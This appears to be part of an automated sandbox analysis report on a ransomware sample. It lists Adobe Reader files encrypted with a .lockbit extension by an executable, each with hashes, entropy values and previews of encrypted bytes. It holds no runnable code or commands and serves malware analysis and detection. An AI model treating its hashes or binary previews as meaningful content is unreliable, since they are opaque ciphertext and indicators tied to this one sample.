Preview:	...W604........m./..8.r.....~....9t.......liw.;.N."...9/.W!n..WG......U-..l.6s.VR.4.1.$b.%.#\8.k...)B...[..z...Ju..7E..........qh..D...%.B.vb.h..fR...V......"....Y..1....c..<..v.....3..8..Z.Lv..B.-'.Z...C:.Q.i..R..FF..UU.......F,.R;.A.;....9"...)..84w.....H7-.......I.6..zg.,.d?r.~...xt.z?#t......pc6.<b..y.......?R^l.RF!.."_q(.0Gj".2..l.JQ.sd..C.[7.:.d.._.P.x..../....+..k?.]e....h.'u..l..5.\.`..y..k..g. ..nz,a........_.........]....=...0.j..m.9.I......b{q..F...1..l..C.T+r%..B[.O[^b.t.0..n..e\|..7_..t...hh._..gS@....<0Nj.........S.K...r+!OI.}..U....Q.4...`:.....<.gln...e...].K.....N.b....$..h.....i.h~....S,...&..0..Zb.(...<..6.'R..F6..f.......zb...........U......\|..r.aw...w.e8....?G%$.]......D1..E...*...O...`.E.3.I....F..!.....}.yu..].0#.Z=....... .,j..9l9#.Qr..r5:%"f.......G...US.D2...n.....Ry`M,..n..(....zb.i....%..+...'1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\edit_r_full.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.80474421414588
Encrypted:	false
SSDEEP:	24:xBnIbeQaTEQQ6Mwv6ju7Y2Rob7JB6VHTLqzvB7:xqyrlGu1G7kazp7
MD5:	D9CEA418FD252BD4A3A5C8B449BB0FB6
SHA1:	AD6B50BE9C7476B9E93FD5A64F2E9F18934922A1
SHA-256:	17CDE77F2F772238B3134DA6C9A3EAF2CF11DD13CCD3BF31820E9F3EBB2FC315
SHA-512:	DFFB7BE1BD12ED8AAC552D51C7F3C3A8E379994AE02C01CDDAC5C63653E93CC628B540A8D4D8BED06C7750C07A383118BB13A96FA71829B2B0FF521BBE759B4A
Malicious:	false
Preview:	/szM+H...r...Bb..}T.......4.v....#.....^.........G...M#.? .U.........h..n.$!...2....'.i..[...a...).$......<>..8.`OW.u_....,..WAB?\G.n...EL.w....Z...}..4.N@.k.....~...A..au\.....C..%..v<.k...w.v.6!.I(En:JC.A.~..iz.D.......\|^...-..9D..D.W.].B.^.....RDSs.F.!'..6ZW.....(...1[]...JJ.....u...#....6...;....._......<,....=r#..q.......4....@9`&.W..!.../G..l...4:g..P..3....h.%\....z..y.....5..s.l.?...= .?.Og...(..p..T......t....M.X..:......d.....a.O....G\|...s...7..Vr:.../..2b%.7....7J.........9...#..8a...<..`.hhP.>..u...n9.Z=.^..7G.c...o..>..ND......h....+x.R6(.]#..Zq.....o.4,..m..?..4..X..o..\|\.....;........X.YC....q..>,..LL....&.nQh.W5.y.G.'(.@..!V/.........oA.....q..v.t^?..#...;.W.)3.o....!pK.@p..........}6h...tc.T...EQ..~...cm.(....V...x.d,E._.hLi...sfd.....r....gz...0..O.c$z<nOI...V.....=..-.@b.....p.xc.S3..h.C6c.#..*4NP..G{4...B..Y."..1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\edit_r_menu.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.790228569217834
Encrypted:	false
SSDEEP:	24:vKlvhIa+zC34lGIJ+ZIA/V+vSNRojrAbO8RWrQmlwEhqzvB7:SlCaitJ/yV+vSNRi0b5Wszp7
MD5:	B5F150CE20BD8EB121517D47D582BF5E
SHA1:	B8318CAF50F41E90B98D0C7EB3B98A0442E78568
SHA-256:	C07CB9460741D46F2568DF4C5D854484508B698153A72CBD0A1521E693E2D67A
SHA-512:	32904DA2CD5CD607120902C32FDC3638F360F7818C6AA1263548D1CA5DEBF5900E84E6FA81B2363AAAA1C3D7DE14BCEA634D6990C9E2A0DF8A9907EB9CBD144D
Malicious:	false
Preview:	.!.........E.F<...-.4{.W....\...s.,(...4...A./.a..D.v.,.9T..4.B..2.t..P....................r......f..Y.I...f.......2.......S6....R........45hy......X/.%...&.....q......i.<.:....Ee....;..Y...KE..A.:.!..{V....u.........$.y.HL.{....F..'....~....f...C..f.M,5...$...8...X...P..#Gn......g.}<...b.:.$........v!.......cSI.3.i..4.5."....(+.^...Y...5&.p.....E.Z.....k\|....}.#.G...Rryy.r..d..3..k..a../K.p\|....\|~...9..7.........T.Q....*...7.u...k.M.(...;...(.>..X.........\|.(.4.b....P.B.....b...\|4.Z.....P.kz....../...c^.2A{../...P.......{<..tL...L......pK.....#....!...,.....(..:...2...Q.C.2._m..S69Z.;.=.....L.18..;A..'.ir.r.>E...j..Gs....\|.Uz....[...Go.cI"....j.5.bIS.eS].o..de.....i3...Q...\.a2?.N....!j..ja.........dR..t.....o.....1..R....bdU.....\|S\|.X...C..q..p.<..\Gi.z2..^...P.~n.....]4.R..)m.$.P.....+...........cV.B.F..I.....0.o..^1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\edit_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.885846530019557
Encrypted:	false
SSDEEP:	24:bcjidmXTTeoKG+QFoT/imT7ZICxC2eqHFUbILR1KIZ7PyHtv39d1YBRK6FUh7J39:YjBXTP1AqQ6C42eit1PVcvtzYB86SFJt
MD5:	65BE1082C8FEEADAD606C06CDBBF078D
SHA1:	8674853CED5F4DF677153B6208CD8DE05D14DA26
SHA-256:	5B9E31B893B067D5D5E8B4471E2177CC3C66204C30B001139A693EE6695FE37B
SHA-512:	440AECB99BC385F52326B1066452062CC0A116D7D113EF4742EFC82F14DFC13405FCEC0ECD879E4E36CC8053324D575A449880A421400F71A5C4C300A0F62C7C
Malicious:	false
Preview:	n.<1.r......L...N...2......y.b~...G..5.R.C.I..&.Y0..gS..R...F..Z..-.....x....._.eStxk.MKk...........~.o$`.....r.(....l.tW..^'......l.,.J.....!.m}{'H.x,..\k+.r8%..Pn...!{M.T.X']./...5Z....#2...........9..eCr.+`..OJw..H,..@)......qf.$e.c..L.V.Q.1..e..k?.t.:....&.+.....c.." ...Fus...}.....K..Jzm..lC(O1.q.q..3...\|gj9.(b.wmvG.P).=...^.h..Y.1..F...@...FV!..8'..#.....h../....^\|3\|$4.../.pc.....;P.......#..^y...Ke..q."...3q...^... +...T...4_~...1...L2TB.."d.....n....G.Ha{..!.&O....b..aQ...-...Y.rMk..x.....{J.\|.d...O.%$.t.w...{..........[...Y8.{.'))Q...Q.3t...Ji.\AG].SN.LI...jZ$..J.....=Be.}.66.U.it.m./O.......5<.B..{.P.D'....F#!1...4...p-.3..(....4q....{..8....khF...%=.&+..6K...i...&..LH.<.V..OY.3.1.h~.8.P[k..."l....d{ws..o..d-.4....~h.Ozj.H....._.wj..h....i..._P.....2.jj.>n.D..A4...t....+^..W.{U...s..+...J#2.<&...=.....I.1.@.F...s..q..!...P.`@.......I..S.....uz..$UO..n@.!#v....................t.....z.u.-7.....z,V..M..3.....Z.S.K.B\\T

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\epdf_full.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.783961526789258
Encrypted:	false
SSDEEP:	24:ddC/9ACDo+biwgkCWLcS7Dbkj0Out1slNtdFeRdVqzvB7:dk/OCDokJ6s7DAj0OuLsTtdcP4zp7
MD5:	BB74CEBD146AD519F75DC52698248FB7
SHA1:	8556CC2177E5D03EE760FDBEB98221D5683E21B0
SHA-256:	4405EC61EAE0DFE0EC70238D5290FADC34D74E4974B588584169AD32F75932B4
SHA-512:	66B096A51D694D19920BC414E92B54B7D1CB92F0064CB094A8AED2871BE1E2234087A181A959A61C72EE5B7EAF23DACE129E6E70CF2868D19681CEA8300E8A70
Malicious:	false
Preview:	./.3..Bs.(K...A...,C.I...."e.de.b3..G.....Urgo.?.....>..#.$.......Z...K....5U..Cs]...U.f9...~...j.<B#.$F.<....I......J.hT.b..=...40.8...h.HcH....].m..c...A..Y..pl........H.q....V..t....Y4....p.-......J8....F..3.1Y.A.9wTH.,....h....5..t.})..Q.,.d..Dn.+.(..7....s.....>J.s...,.4...X.b.)..m..u.W...._Y.W.S!hC.C?Aog../.%.I..)(8.,.........O..."M...e:.d~...P.......A..>q["6.-\...JW....j.[.3....T.M....Yd..C<....6(..b...&..#;.l\..>......=...0....5@...,.3.. A0U..A.......y{"D......'.e..P.....V.U`.r.f...0.....3O......bU....3)i...Z...b8;... .....6...Xj.....c.A..n...hvcQ......t;..x....9.~.n.3..4.......(.g..ZxA.....3......g/wM..."......,....0e wbaJ.~..Q~.@..........K>..A....t.t....Y\..W..2n....gK.....;.KQ..!gZ.OP...G...#.V....Jd..L..&X.....M..i`.._.+.\|.......#.>@%]<n..{...r..s.r...l\H....-.b:..1..@0z.f.t.f.\|...[.?.}.z .&.>5. ..1....}..W1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\epdf_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.805457044024259
Encrypted:	false
SSDEEP:	24:ZbaPatn52vceljRC/p+c9WPgE/uns2o+AZKyPtiqzvB7:8y52vcexKL9WPgGCs3+8KyPBzp7
MD5:	495EF710737FBEC9A0AF067544861FDE
SHA1:	4CF8511EBC5596508787519AD032EC0C20121409
SHA-256:	4DB3DE53D3A346C855261CEE7F4E13C570E14E4723A14B2AFF16FC131A09E235
SHA-512:	2FF0B6A6BFC832425770B189A4D703DC7AD3F464C863A08C2381801AF2645D2E36103C6BD4A35C948524DA8730A8EC5E4D797EF8AA7EDDD8DB9368518082B281
Malicious:	false
Preview:	L..@W...q...m..Q.........I...\..{3K.......Hm.#.3.....D........y.[a.c........sE..w....I.^. .7+Q..+D.....uM...../x#Y.,.<B.@?..m.-..f#.5U.q..g.C.8A.u..O._..x....S....?..4....$B.G.x.........zD..D.6...qefE.l.X..~....,....9......R.k.Z..K.d..J1..Q..Z.z.v.L?....5..9?Z.&7m..3i.....p..8.......M..#..1. ..2xg..<$FbP.....e'..H.:..6.@.......u?8..R.o..A`.{.NW.^J.[...._.e.G.E...8.Tq..H........?#.~t.h....S2.j%..8...#.,..T..gB......w"...1.A.V..%e........C..@........[....k.Q..\|.l....9LIa&..%.E..`.V..a9...A.8....._jHO..v....9+.N#..W..k.'....d`..^.t....G9M3{.b^r..W>.1.N.{.U1\| M-.9~Q. P..V..6...../J.\|.2+./...ll..j.J.%9.D.........{./..a.>...........C......w8.6.$..2.......4.X.4b..f.{2....9h.k.@.^gf..o#..E....,...?...S..<......V(......}q.>i..3$...6..C....2..........X(R.D..>.:.{C.F.f...f...u.\j..\.\|.....!(b......{&.]r.3%.q...`..5......2..V....5..U?U.k..A#.j.$n.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\fillsign.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.9541866882156596
Encrypted:	false
SSDEEP:	96:cI0vDppeIWlTEjeK34JsPBaQvy8E2DAQHKl3Oq:cx6RBK34J1Q6XQH43z
MD5:	A6928D1CECD1D100D9096E765EEF6CE2
SHA1:	D9C3AADDF9337A0BD268A3EACAA9FB6B11316FD4
SHA-256:	7A41A90FECA471575B249FFC3D83FBE6BD0C835F60A048F4347725F6B8BEB9F2
SHA-512:	84C287EA6A1DAA0BC71F5F6EE41EEFEEB5CD28B59A85297A09E041F21499A39A0F64A9346B7A03F1CD4FA2C09D831937993D1E008C7AED89CAF52E34B540DF88
Malicious:	false
Preview:	YwE.d..M.........e....q3.ou.!....5...P.....A.Y.U...W1h.0....O:Y.P..hE$z..V....v.<.. l'..)\|._........b.=..$jl.i...\......d...;.....k..il........Hz.Sa,.4.m.K..bW.........o..P..u.2B.I[.....u}.z.....@4_.]^h.x.lqm..C.AS.-..s....#....e......E+.&....oX[.n...M$..e.s.&O...v.Qx3#V.....T....qK....:..6..Kf..............QQ.t&.....>.c...p.....b.....^.'..........f.....).gc..W.......u.NW i.....Mz......;=E-.....LA....2n.}...:...BB....... ...X..rZ\|..U.6..a...j..!6...\.p_.$t<^E......B./.GY....<g..9...F..P.}1m.6..DF....j.P.].&@.u.....[.W...W6..3....N}q..i.!/...xCro.<3....d!(..#.T..h.r......C.......#P4.P...f=g.... h.Pno...l=.+..s.........G.........G-#z........{F.T...Y5H.w......<.}.=+..(2...}.Xq..M.xS..Q......S....3}.:..(1b89/.N6.0...QX;.g...\..8...~&KJ..v&....?.6.Q-..C}.*Oc.6...K./.\...SM.v......@...EG..v...9l...8...>.G.7.Y......a..c..X.F>....?.e..4E.[.u.C[..fP.!"...../..Z....Q...Cf.l.5....4R.%k2....]......U...[....V.8<w....>....<....z......v...g..,..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\home.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.865058042641228
Encrypted:	false
SSDEEP:	24:anRGpSIFtslSayctYw+xYnQc9OZzV138dmfEzF5nycPx/ZjlNrZitAKPSMu9qzvd:IREvFClScWR2nQGguDzXn7TjXctAISM5
MD5:	735A717BCF55B473E5FCA823DAA08954
SHA1:	A35B411B433F4D5F8FF8E766E16172C2475F9D18
SHA-256:	8029F1E6A37E53B71853D9E310A1C9BCB57895F34BAB317FB7CCF582322206E0
SHA-512:	8CF4C5D1137E80DC06FDC5C98EB46422CA801CD36CA49192504A61391E01E4C5E91C662AD460DE685910A54427A5DB93673768ED878D79EE338F00FBCEBADEF4
Malicious:	false
Preview:	.s...@R...)#9.m..2...O.....7..2h.U..(..xJ...Hz3....H..M....7.P.n\.%.........f].q..V..".....^3N:.q.....R.1M(L./..@E ^k.......3.....6.t..Q..DtK...HUY...{'..J...H....z.....<s..?....g...f.7.q...W...;....2 N:/....3zO}../.E.dm{...]...2T.&.......?G../ ......0..F..R..I....J.%H..Zr.O. q.L.9.F.J.p...W.Iv7.w..`'..........fS......g...CI..&=.L.7$...l..}4l)....w......Y;..<.>..6a.!..~....J.@1).Ao.\|.B-6...<.@.\...^i.u.ca........D.I.1j....1!` ..-.}.........\.R...y.7.R...^$...Ir@..#`..........%......$.j..n. 3.:L.....3.UL/..m9.0fQE.C...i...u.].g.").\|#......1....9.\|.,. ...).F.u......o.........u.1.4...-.Mm.... J..#...gg.\|......^.o..=u.\6g~1.r..s39....&,G...w..@...p....O...e/1...[.Q..,:..6}y$e^7h.Z.=pb.E8.?.5...u..Ke.t.)..9.......rGk.....D1...........8t..=...\.5.>~<5..Je\....?....Q....j..=h........EY.w9O.p..}PYL.\W........M.G\ZT..`n.Y.G...Q....'..j.~.. S..%M..Lr.D$.....7.#..QD9J.D~5].......Wpv.....@.h.s.t...........t}..pL.p.M..!9J.l{8......gy.&.C...e

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\inappsign.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.779167967171825
Encrypted:	false
SSDEEP:	24:Ki80wYI30mWAe5O4ZCSBe9nXdHcMnTjjeVXPOPKek9nHDqzvB7:ge9l5O4ESBef8OTjjOOiek9Huzp7
MD5:	E0FBB51D2B3421D4C68D548F2C25D98D
SHA1:	40EA4B047CFBB1ABB47463196C3224374C1F0922
SHA-256:	EC4BFC0290C389886B011EF4E1715BF830DA5556A29C20E1B1EADC1F2DB8434A
SHA-512:	EAA62CCE32675A5F4DEEA2B076294E65E37F469B4132A35952BAEA15837446448630EF536489360C5EBCA2A164EFA393B222CC399CACE4BE27334780C136B1DA
Malicious:	false
Preview:	...J4..,...8......".7.s.S..=..hJ.A.7.uP.Z.-.J.}(../.&..'..1v..w(....n+..[.U./I....q...#....i.to.+........8...B.`...Z...M..\.}..S'0...S .7..bk..E+>.Or....T.z......s.U".~.O..Z? ..@vu.C.......3S.Gx ...........x.....4nN......\|J..pP..7..#MR..lj..\.5..n..?...!R...0.V.[.YV....T..Z.7..W..==PR.,..._R....W!...EQ....m..V.S....@.u..d....87.5.Z...........5.O.5H.h..v[J%P3.. v`}.,..C..p.......=..5...%E....5...!b.kS.6..X.K.......].b..E..`.....f..c..Z..Q_..Kh.@..;D.e....8..%.......C%.%.b.QP5w.......E.....Q..+B..z.. ..m.......>..\.$......1...>K...#..)..T$b..qR.e....+..n.~.#s.Q ..*.bO.......Qr>w.....x...5.....g...!.z..Y..Qo..!.n..9...Z.I1.....=.;u...).G........E....Kg......\|...G_.........9.....`o.V.i..j7).@.h..\.`Y.d'.^.X.q..J0 .0.8@8.O.jXFq8?c.d}.p.Y...-a..yg..D...!?..D.S.d........UD."jrj...kGd`.eh..z$...Yi6.'...X...R....r...-..i.....o~....n....D....Aa....&5.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\measure.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.880810174972132
Encrypted:	false
SSDEEP:	24:JIFphnyFfX+X+bEdZwaquFkR8QhC90SIoNCVtSLPBCh0NzY3ygiA8AqzvB7:JIFXKHodU+kCQ8bn0c4uNJBA8zp7
MD5:	73C289FF610ACBBA262AC6A3F6F8A0B3
SHA1:	16CDED4B3CB84835B108D09A5570EA37D303AAF0
SHA-256:	B477BA8D7DD5EA6058FB51949BE5920A81BEE235874ABE743807F5E1B015C6D1
SHA-512:	1156ECFB92EB835DC684832997A23D22952C6D1B9FC4099C8B48B4D3E9F316AC37918636DC962C14E26B4D8ABB5B32387024394C0AC0D3008BA9F09EDD352246
Malicious:	false
Preview:	.g..\|.3..v=j......nn.....g4E..vt.....&...uXC.7.lU..v.....0)...c... ...F..Q........m.....W..d..#.....MgAO.a..G .l.g.H:Pw.y...gu....c(q....mR.$.t{.o.+.}Os...B..f.&..N.[..%....&..Ln..xP.K.&......Q.,...t5..0.'..q.$.AdTD..x.Q.`.-7.....\..H.x@...U3.Y}j .]...H..f.>dd........'.9@....T....5..x....E!e.h<c.:.,...._....'.q..wUK.u.............\|.f{.....hF..5.g.R..H........E.{.kk16....+......<........T.}b....%w>x..v..`......d...."....N...E>..&m...L......g?y....z..u.4..;?9......pbg....N.l,..FI.'p..M..<S.}..w.m.^.M.3.._..o.k-.R.....Z6A[c.W.j=...p.t.B.c;...j4...x..h...q.e.Qb5.s.?........M{,...f\|.X..CYT.3...:.C.]..?vL.\|..=..q]Sb.....:.!..Z..S>.i../P.F........0.....i.T...6...\|f.9.."9....E..l..x..5}..M...Y..r6.....cA8ip..&.-...p...?\...A3..s.......n.j....e.J.cU...D_W...P0....$..,.......;...ed.D...K.Y..Z...[.zT.e>......R.Snb..Izt.Bk.)k.......W*Q..I...A.L..._.....^....u~.x..c.._.f......2o.\|.u4dM....2.EV.w{O-.w.f.{.PK.=..:.a...p..k.^.b..fK.T.6\|.l..n.`q.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\moretools.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.796469357729741
Encrypted:	false
SSDEEP:	24:dadKOwU8dKsjaxZyXPiFE4c3RrMm0DFLyltOOhPaCALqzvB7:dadJdtJPsMFLyltZMQzp7
MD5:	555B2395F1114992695BBA5057F4E679
SHA1:	A9804971FF6D36CB31D7E1E30E66A44116AC2B89
SHA-256:	05CDF75AD27CD744A6960E20EAB0CE5BA015E68EA21FD827D97B55DF2EE1CA5F
SHA-512:	5728FF93D7C8B52BAF5020581AA3C29FDDE33736686DF071F121456814192B6A77E0FEDA7CCF3FD59F586C1E2424787909BC991AF9298E466D16CE283BC435F5
Malicious:	false
Preview:	.......SM4i.>.K....v{.....u5.....`.5E..k..F.J....\KG..[..6}.2img.>...D..m.1.a.z.l..t..`P.Xi.W...,...E.I.j%d<..Ue}.=.$...E...rpbD.^.".<....o4E...%...s0.1....W.\...3.<a.]-.....kK...F........4.....ck..`.y4.!....3.....t"...l>....2...7.$..P...]f.i.GQ._s.........H..0..5....`.X..!v8.....2.....=`.......RK.O.`+...&...z..%.#\R...SM.).J.$VK.......U.#c...L....TI.t...A7.E....C;P..DzP.@.w....0r.=.I.0.y.........V.v...~C.t..........'.]......iC...9l.#...6..>...D..P1....^.Uq.5.....t..._..I.p...W....]. .Z^.9..lY......:..dg3..Nv.....lK.4.ups..u...I.`......N....8&/...a....p..3.d.c.[.._...p-.>X..U.F....\..........Pi..2.....p.#>\|.n,@.@.=H/....TS\........9......3.B....(.C.^Kp...3.-.._..-(\. .6;.'...HHOS:.7Y.Mdi..W.RW.d..J.............,...FO..x).i]...$N.B..-.9..W.0.)......{.)b...@.Y....p./\........`O.O.......e.......$..W.7.\.S)5 .'.L....l...Q..>....Pk1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\optimizepdf_r_ctx.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.795494601878866
Encrypted:	false
SSDEEP:	24:oC5oPdqALR+hB7xGPeSL2aH4eUuIIHc/UnqzvB7:oqoPvLRMNwPtn6uRWDzp7
MD5:	E1826C7610957B500AE2FAC27F368A20
SHA1:	C5B70A3FA137EDF16B56EDBF506E33588C557192
SHA-256:	49F6B27C5B05DC09A76E2EA2385F853005E553B1A816660E6720F721491E0D6D
SHA-512:	1071D068886ECAFCF8F8B0BA35CD5370022BDD4D8FFC1BC1C5A90CD78E3A919C47ABAD5FE20B72FD25E2B03F6B9DD9F527BE05B261AD0BB67C98323874DBC213
Malicious:	false
Preview:	.:......P~....(.......s..B.3?.^`.^?TMK.....6..5.zGc\|P.\|.;.q...5..z..I.7...b...;..`d.. .....;,.4.k$n...{^..W..$\|........8@?....jQ...N.s..<...1q...!M.2L.......\..@.......Df.S...G.7.0a.m..b.s..D.#..\;~./.......F+.'....y..):......H..6..B..".z>..dvv.wJ.[]P......2..bo]......5...[..hU&.Y}D..+..!...#1''.....42....P..........S$v....<......%&x..B0L.{6...QE....CB...wgZ2.....?U..~....).p.?.0.....H.b.....y.$. q.-H...`z...l.Y...k..T.xtc...A.TB..w...s...N.T.r.ZKR2U..U..p4fJ..Y.;......$7..R.lb....{M.`.....>..-.J.}...M....y6.e.o}.....Sz.jW....)..d.........ZJs<L.._.$.....5.......1pZ..K.bO...$QG......oK..G..H...K3h.+b..9.....G....pd.j}.d.P.L.../p..>.M..b..lL.5W(HG./7%g..KX....L.........;.C..!z.pB...?oE..W..XD..^).K......~...b.vP.....$..w.".....i.........eo.V.{.>.o..,.g.,....:..?.\Wv.d...#.....^.OR^P.v...O."......U..~..6K.......*.@....h.......FH.....M.... ..9D1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\optimizepdf_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.880078225303521
Encrypted:	false
SSDEEP:	24:qmsHE1I4BFUZkokOk8Pjbi3C4TJstC1RNeG3BArMWCBAtNMMOhqAqzvB7:qmske4XUjkG3sdTJs07eG3mrMWnbMMXR
MD5:	162320BF77F6D4820EE65739F30A92AF
SHA1:	AEA06D59645470F96C65DF94F557E14534CAC7BD
SHA-256:	68AEC8C747F066E4AE85C2B022DB94968CFD3477B859D70EE2098C82FD675DC9
SHA-512:	D92E89252C6F3FB86618E0D542173ACC103AB9CAA0555C64F7A04D91C677FD98694CA3B5D98E0D6B75C99DA23E243DF2FCD9AB826FD5B0DAE321FE65235C65D3
Malicious:	false
Preview:	^0..?...../.\|......ha..q......_.5s. ..?Q...W.C...;..R...PE...._.n.-`-MU.~>.'.P...4B.t. F.a.f..r.u8.....S.{.L+;.D5v........<\....I.{....]#.......d.l}..,.o...d\|.l....-3.X...\.O...I)..D'.....M4.h}...........3.......}......=1uq\}."....;#.^......n.Z}.K..2.C..f.#...4..q.z.m.u...j9".{..N....J.dg..;.z....D,...W4.7S...S_.$....Hn&....K..%..:H..J........$..,.Q+.qB.w......5..\|...V....>....]..q7\|.{.HC\|=.\|)....K........Dm.P.tg...J.s..{.........<b2x7..I..$..v.)d.'..=...*{.n...:..m(.....[;.p..}.....v....K....@...>.p.X<..YB..........F....src../....~?..8....?.....O....W...:....a..s...a\|.en1....U.J...2.Z....J.5..J.m5..."]...]r...J%i...j1.Nn...s.jSk.......,..+...4P...Y...]#.3.wB;..H%.z.8.l~.X...(.Ir..t1.......2z&..\....[........"J.....i,.)=...@..k..X...`....f...b.V3.b4.P....CV^..n/>.....f.9..e,6.J......+9..@Ef....R&.. 7}B?.&.s......2Ng.i....J"....\|^&{..<.b#...,.kCh....V.:..Mh........"]O........T..../.#.wk.D=.a?/Y.....6.[.......10........)A..!tF....sSg.:Q..w

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\pages_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.9084138347371855
Encrypted:	false
SSDEEP:	48:qSx9M/H3rjKFxE0+OB++v+2A2jlyPWO8Fa5FBlgV/Nzp7:f9gHcvEluouONF/o7
MD5:	410A6E34B9E124536618724852D04180
SHA1:	BE28EC15235225415A43A48454351CD973206A3E
SHA-256:	8ECB78AF167EF642FDAE9DBD4D0036101BCB60552B1B9C2C65BEC6830AC9525D
SHA-512:	B262FDF97824B844D018563F688FF4BA99872CC781C407E5C0570DD03CC9922C7ABDF1F78D0BA1DE711278BB7EF21B656FAE8602A8AB2460278B2C17AB4BBDEF
Malicious:	false
Preview:	.....o.].SC$........]....5......................\.v XVO..>.:#.oD...pr8n.>.z..].GEa...j.../3CJ......f...'.5.....TK..9.,.bXD"p_...#\|....W...2..O."z5/qW.-.0].&.%.yB../<>.".6.L...i.1A4&..kbb+....G.i.y.p...;k.J.~..}.l..6%...Cv.F......%.../...Z.$y...j.YL.h.B.Y`.....]..kbta........k.~Bz EkWI<..F....6....5[.s.....T...b..z....N.VB#T.....Q....".L.....<...KL.d./..@...TmG.w..n.L.."].-..<].L........^.m....Q.......&.....{.h...EL..`?C...d...q<3 .G..6._.r..'.\....W...w.%..q..I...Rh...w.....T.C3..,.......mj.y....ek=.2...n...-u..m.}....kR,.r.?~5A.b.D.AGk.~..;#...m..a5..qZ..R~5'~..E..s.k......)sr".bn/.<.._#....t......R..w./wd=J..s..m....t.g`.,.0.\....$..`.JZ.&.E.UF...p.u.5.':+0X..O...^7......a.4........O.D....\|.Z....s...Xf.nq_3.E#.V+........i..]Rb..N\|.:Zt...Q....X..q..'.f^[{.wq..\|.H6+.L(=..9.....Fv\|..8!.....`..r.8.^?.1..n....W.g4..zo..%...8.@8..h...-.`#.......#..b.6p..1..Bp.%_2._i...P...@e.9.[..Zxq..QAO....>[y.4..Lf..../....3.f..dW........@...0..s.3M....4..+M...&..k.

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\protect_r_rhp.aapp.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.79731062251272
Encrypted:	false
SSDEEP:	12:ZaAp02+bYY71adJIfWuInu+KddCiasFKfdPGXLnEB9kYBVv3p9GEER9DE6Zo/jkF:Za9jbYk1fLJ/6UX/aPER1E/7kOPqzvB7
MD5:	E60CD0560B3F9E7C75945277D1F2D2FF
SHA1:	7C089279D9442C9097E8310023ED7674358A011E
SHA-256:	97DE6F45EFAA9DE0476104E3025DF3CD26F5B1E390C124142FBC0BD7E09201BC
SHA-512:	D0CDEF31A88496C872F1952E56509752F11A85C95A41DEEC0563EBF6CD33EC403288546BF5A416ABA66EC4D4D68082651DAF24CA5F5509872D34C9D89418F17F
Malicious:	false
